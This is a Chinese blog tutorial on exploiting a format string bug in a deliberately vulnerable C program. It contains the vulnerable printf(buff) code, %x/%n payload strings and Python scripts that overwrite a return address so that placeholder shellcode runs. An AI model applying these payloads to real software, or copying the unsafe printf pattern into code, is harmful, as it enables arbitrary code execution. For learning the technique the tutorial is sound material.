格式化字符串漏洞执行任意代码分析

首先使用vc++6.0编译一个程序FormatStr.exe,源代码:
代码:
_#include <stdio.h>
#include <string.h>

int main (int argc, char *argv[])
{
    char buff[1024];  // 设置栈空间

        strncpy(buff,argv[1],sizeof(buff)-1);
        printf(buff); //触发漏洞

        return 0;
}
这里以参数test-%x-%x-%x-%n为例
核心汇编代码MOV DWORD PTR DS:[EAX],ECX,其中寄存器EAX,ECX都可以被用户控制,ECX指前边字符的个数,可以通过调试确定(具体有栈上的数据决定,是零的就排除),EAX指参数“test-%x-%x-%x-%n”的首地址,并且通过添加%x可以使EAX往后移四个地址,可以将任意数据写入任意地址,这样就可以将shellcode的首地址写入函数的返回地址,这样等函数返回时shellcode就可以执行了

%1000x 1000是个十进制数字,表示输出字符串的长度,可以通过这个控制字符串的长度

首先打印栈上的数据:输入“test-%x-%x-%x-%x-%x-%x”  输出:test-12ff04-380e4a-7f-34333231-2d78252d-252d7825 (即栈上的相关信息)

test-%x-%x-%x-%n 调试中断时 EAX=34333231 
test-%x-%x-%x-%x-%n 调试中断时 EAX=2d78252d
test-%x-%x-%x-%x-%x-%n 调试中断时 EAX=252d7825

设置immunity debugger为默认调试器

首先观察ECX值的变化,当输入test-%x-%x-%n时,ECX=0x13,即字符串“test-12ff04-380e4a-”的长度19,当输入test-%x-%x-%x-%n时,ECX=0x16,即字符串“test-12ff04-380e4a-7f-”的长度22,当输入test-%x-%x-%x-%x-%n时,ECX=0x1F,即字符串“test-12ff04-380e4a-7f-34333231-”的长度31,所以ECX即前边字符串的长度,但是这个长度是根据栈中具体数值来确定的,所以只能通过调试来确定。

观察EAX的值,当输入test-%x-%x-%n时,EAX=0x7f,即栈中的数值0x7f,当输入test-%x-%x-%x-%n时,EAX=0x74726574,即栈中的0x74726574,当输入test-%x-%x-%x-%x-%n时,EAX=0x2d78252d,即栈中的0x2d78252d,当输入test-%x-%x-%x-%x-%x-%n时,EAX=0x252d7825,即栈中的0x252d7825,可以发现这样的规律,随着%x的增多,EAX的值是栈中以四字节为单位往高地址增长的栈中的数据。

通过以上的介绍,可以看到可以将ECX设置为shellcode的首地址,将EAX设置为函数返回地址所在的栈地址,这样当函数返回时,就会执行shellcode中的代码

首先查找shellcode的首地址,在命令行下运行:FormatStr.exe "test-%x-%x-%x-%n",程序异常自动附加到immunity debugger,


直接在栈中搜索就可以了,可以看到shellcode的起始地址是0x0012FF04,

然后查找函数返回地址所在的栈地址,组合键alt+k切换到栈回溯窗口,可以看到最近的函数返回地址所在的栈地址是:0x0012FED0:

经过上边介绍只要使EAX=0x0012FED0,ECX=0x0012FF04就可以使我们的shellcode得到执行的机会。
以参数“testAAAABBBB-%x-%x-%x-%n”为示例
首先使ECX=0x0012FF04,0x0012FF04=1244932,[1244932-(4+4+4+4)]/3=414972,
将参数修改为“testAAAABBBB-%414972x-%414972x-%414972x-%n”,输出ECX如下:

,正好得到ECX=0x0012FF04

下边使EAX=0x0012FED0,但是由于EAX中含有0x00,作为字符串的结束字符后边的字符会被截断掉,解决的办法就是增加%x的个数,使EAX往栈的高地址方向移动,直到移动到字符串的末尾,这样0x00就不会影响我们后续的操作了
当参数是“testAAAABBBB-%414972x-%414972x-%414972x-%n”时,EAX=0x74735674,即test的十六进制值,我们依次增加0x的个数,为了便于操作,我们可以用python书写一个简单脚本:
from subprocess import call
a="testAAAABBBBCC-"
b="%x"*3
c="%414972x-%414972x-%414972x-%nABCDE"
buf=a+b+c
call(["FormatStr.exe",buf])

可以看到EAX已经移位到字符串“CC-%”,我们继续增加%x的个数,直到移位到%n之后:
python脚本:
from subprocess import call
a="testAAAABBBBCC-"
b="%x"*23
c="%414972x-%414972x-%414972x-%nABCDE"
buf=a+b+c
call(["FormatStr.exe",buf])
此时EAX=0x00454443 即字符串“CDE”的十六进制


由于此时增加很多%x打乱了ECX的值,我们再调整一下:
from subprocess import call
a="testAAAABBBBCC-"
b="%x"*23
c="%414914x-%414913x-%414913x-%nABCDE"
buf=a+b+c
call(["FormatStr.exe",buf])
此时EAX=0x00454443,ECX=0x0012FF04:

此时只要将CDE替换为返回地址的所在的栈地址,将test-AAAABBBB....等替换为shellcode,为了演示,直接替换为0xCC(中断)吧:
from subprocess import call
a="\xCC\xCC\xCC\xCCAAAABBBBCC-"
b="%x"*23
c="%414914x-%414913x-%414913x-%nAB\xD0\xFE\x12"            
buf=a+b+c
call(["FormatStr.exe",buf])



shellcode成功得到执行。 
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值